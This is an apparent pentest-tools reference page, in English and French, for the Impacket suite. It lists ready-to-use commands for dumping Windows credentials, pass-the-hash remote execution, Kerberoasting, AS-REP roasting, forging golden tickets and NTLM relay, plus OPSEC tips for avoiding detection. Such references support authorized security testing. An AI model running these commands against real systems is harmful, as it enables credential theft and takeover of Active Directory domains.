← retour aux outils back to tools

# impacket-scripts

Scripts Python Impacket pour les protocoles réseau. Une suite complète pour les attaques Windows/Active Directory : relais SMB, secretsdump, psexec, attaques Kerberos, exploitation DCOM, et plus encore. Impacket Python network protocol scripts. A comprehensive suite for Windows/Active Directory attacks — SMB relay, secretsdump, psexec, Kerberos attacks, DCOM exploitation, and more.

↗ https://github.com/fortra/impacket

## Overview

Impacket is a collection of Python scripts for working with Windows network protocols. It’s the foundational toolkit for Active Directory pentesting — implementing SMB, MSRPC, LDAP, Kerberos, and DCOM in pure Python, enabling attacks that would otherwise require Windows.

## Credential Attacks

    # Dump credentials remotely (requires admin)
    impacket-secretsdump DOMAIN/user:password@10.10.10.1
    impacket-secretsdump -hashes :NT_HASH DOMAIN/user@10.10.10.1

Dump local SAM/SYSTEM/SECURITY

    impacket-secretsdump -system SYSTEM -sam SAM -security SECURITY LOCAL

Extract only SAM

    impacket-secretsdump -sam SAM -system SYSTEM LOCAL

## Remote Execution

PSExec — creates a service, interactive shell

    impacket-psexec DOMAIN/admin:password@10.10.10.1

SMBExec — uses SMB file share (no service creation)

    impacket-smbexec DOMAIN/admin:password@10.10.10.1

WMIExec — WMI-based execution (semi-interactive)

    impacket-wmiexec DOMAIN/admin:password@10.10.10.1

DCOMExec — DCOM-based execution

    impacket-dcomexec DOMAIN/admin:password@10.10.10.1

ATExec — scheduled task execution

    impacket-atexec DOMAIN/admin:password@10.10.10.1 cmd

## Kerberos Attacks

    # GetTGT — request a Kerberos TGT
    impacket-getTGT DOMAIN/user:password
    export KRB5CCNAME=user.ccache

GetST — request service ticket (for delegation attacks)

    impacket-getST -spn cifs/target.domain.local DOMAIN/user:password

GetUserSPNs — Kerberoasting

    impacket-GetUserSPNs DOMAIN/user:password -dc-ip 10.10.10.1 -request

GetNPUsers — AS-REP Roasting

    impacket-GetNPUsers DOMAIN/ -usersfile users.txt -dc-ip 10.10.10.1 -no-pass

Ticketer — create silver/golden tickets

    impacket-ticketer -nthash HASH -domain-sid S-1-5-... -domain DOMAIN admin

## SMB Enumeration

List shares

    impacket-smbclient DOMAIN/user:password@10.10.10.1

List shares (command line)

    impacket-smbclient DOMAIN/user:password@10.10.10.1 -no-pass

Enumerate domain users

    impacket-lookupsid DOMAIN/user:password@10.10.10.1

SID lookup

    impacket-lookupsid DOMAIN/user:password@10.10.10.1 0

## Relay Attacks

NTLM relay to SMB targets

    impacket-ntlmrelayx -tf targets.txt -smb2support

Relay to LDAP (adds computer account)

    impacket-ntlmrelayx -tf ldap://DC_IP -smb2support --add-computer

Relay to HTTP (WebDAV, Exchange)

    impacket-ntlmrelayx -t http://EXCHANGE/ews/ -smb2support

## LDAP Enumeration

ldapdomaindump

    impacket-ldapdomaindump -u DOMAIN\\user -p password 10.10.10.1

Query LDAP

    impacket-ldap-shell DOMAIN/user:password@10.10.10.1

## Tips

- secretsdump is the most used impacket tool — dumps everything from a system
- Prefer wmiexec/smbexec over psexec for OPSEC (no service creation)
- Pass-the-hash with `-hashes :NT_HASH` works on most impacket tools
- GetNPUsers (AS-REP roasting) doesn’t require auth — try with no password against user list
- Impacket supports Kerberos auth (`-k -no-pass`) with a valid TGT in KRB5CCNAME

Help / Man page

    Common impacket scripts:
      impacket-psexec         Remote command execution via service
      impacket-smbexec        Remote execution via SMB share
      impacket-wmiexec        Remote execution via WMI
      impacket-secretsdump    Dump credentials (SAM, LSA, NTDS)
      impacket-GetUserSPNs    Kerberoasting
      impacket-GetNPUsers     AS-REP roasting
      impacket-ntlmrelayx     NTLM relay attacks
      impacket-lookupsid      SID/RID enumeration
      impacket-smbclient      Interactive SMB client
      impacket-getTGT         Request Kerberos TGT
      impacket-ticketer       Create Kerberos tickets

    Authentication: DOMAIN/user:password or :NT_HASH or -k (Kerberos)

## Vue d’ensemble

Impacket est une collection de scripts Python pour interagir avec les protocoles réseau Windows. C’est la boîte à outils fondamentale pour le pentest Active Directory : elle implémente SMB, MSRPC, LDAP, Kerberos et DCOM en pur Python, permettant des attaques qui nécessiteraient autrement Windows.

## Attaques sur les identifiants

    # Extraire les identifiants à distance (nécessite des droits admin)
    impacket-secretsdump DOMAIN/user:password@10.10.10.1
    impacket-secretsdump -hashes :NT_HASH DOMAIN/user@10.10.10.1

    # Extraire SAM/SYSTEM/SECURITY en local
    impacket-secretsdump -system SYSTEM -sam SAM -security SECURITY LOCAL

    # Extraire uniquement SAM
    impacket-secretsdump -sam SAM -system SYSTEM LOCAL

## Exécution à distance

    # PSExec : crée un service, shell interactif
    impacket-psexec DOMAIN/admin:password@10.10.10.1

    # SMBExec : utilise un partage SMB (pas de création de service)
    impacket-smbexec DOMAIN/admin:password@10.10.10.1

    # WMIExec : exécution basée sur WMI (semi-interactif)
    impacket-wmiexec DOMAIN/admin:password@10.10.10.1

    # DCOMExec : exécution basée sur DCOM
    impacket-dcomexec DOMAIN/admin:password@10.10.10.1

    # ATExec : exécution via tâche planifiée
    impacket-atexec DOMAIN/admin:password@10.10.10.1 cmd

## Attaques Kerberos

    # GetTGT : demander un TGT Kerberos
    impacket-getTGT DOMAIN/user:password
    export KRB5CCNAME=user.ccache

    # GetST : demander un ticket de service (pour les attaques de délégation)
    impacket-getST -spn cifs/target.domain.local DOMAIN/user:password

    # GetUserSPNs : Kerberoasting
    impacket-GetUserSPNs DOMAIN/user:password -dc-ip 10.10.10.1 -request

    # GetNPUsers : AS-REP Roasting
    impacket-GetNPUsers DOMAIN/ -usersfile users.txt -dc-ip 10.10.10.1 -no-pass

    # Ticketer : créer des tickets silver/golden
    impacket-ticketer -nthash HASH -domain-sid S-1-5-... -domain DOMAIN admin

## Énumération SMB

    # Lister les partages
    impacket-smbclient DOMAIN/user:password@10.10.10.1

    # Lister les partages (ligne de commande)
    impacket-smbclient DOMAIN/user:password@10.10.10.1 -no-pass

    # Énumérer les utilisateurs du domaine
    impacket-lookupsid DOMAIN/user:password@10.10.10.1

    # Recherche de SID
    impacket-lookupsid DOMAIN/user:password@10.10.10.1 0

## Attaques par relais

    # Relais NTLM vers des cibles SMB
    impacket-ntlmrelayx -tf targets.txt -smb2support

    # Relais vers LDAP (ajoute un compte machine)
    impacket-ntlmrelayx -tf ldap://DC_IP -smb2support --add-computer

    # Relais vers HTTP (WebDAV, Exchange)
    impacket-ntlmrelayx -t http://EXCHANGE/ews/ -smb2support

## Énumération LDAP

    # ldapdomaindump
    impacket-ldapdomaindump -u DOMAIN\\user -p password 10.10.10.1

    # Requête LDAP
    impacket-ldap-shell DOMAIN/user:password@10.10.10.1

## Conseils

- secretsdump est l’outil impacket le plus utilisé : il extrait tout d’un système
- Préférer wmiexec/smbexec à psexec pour l’OPSEC (pas de création de service)
- Le pass-the-hash avec `-hashes :NT_HASH` fonctionne sur la plupart des outils impacket
- GetNPUsers (AS-REP roasting) ne nécessite pas d’authentification : essayer sans mot de passe sur une liste d’utilisateurs
- Impacket supporte l’authentification Kerberos (`-k -no-pass`) avec un TGT valide dans KRB5CCNAME

Aide / Page de manuel

    Common impacket scripts:
      impacket-psexec         Remote command execution via service
      impacket-smbexec        Remote execution via SMB share
      impacket-wmiexec        Remote execution via WMI
      impacket-secretsdump    Dump credentials (SAM, LSA, NTDS)
      impacket-GetUserSPNs    Kerberoasting
      impacket-GetNPUsers     AS-REP roasting
      impacket-ntlmrelayx     NTLM relay attacks
      impacket-lookupsid      SID/RID enumeration
      impacket-smbclient      Interactive SMB client
      impacket-getTGT         Request Kerberos TGT
      impacket-ticketer       Create Kerberos tickets

    Authentication: DOMAIN/user:password or :NT_HASH or -k (Kerberos)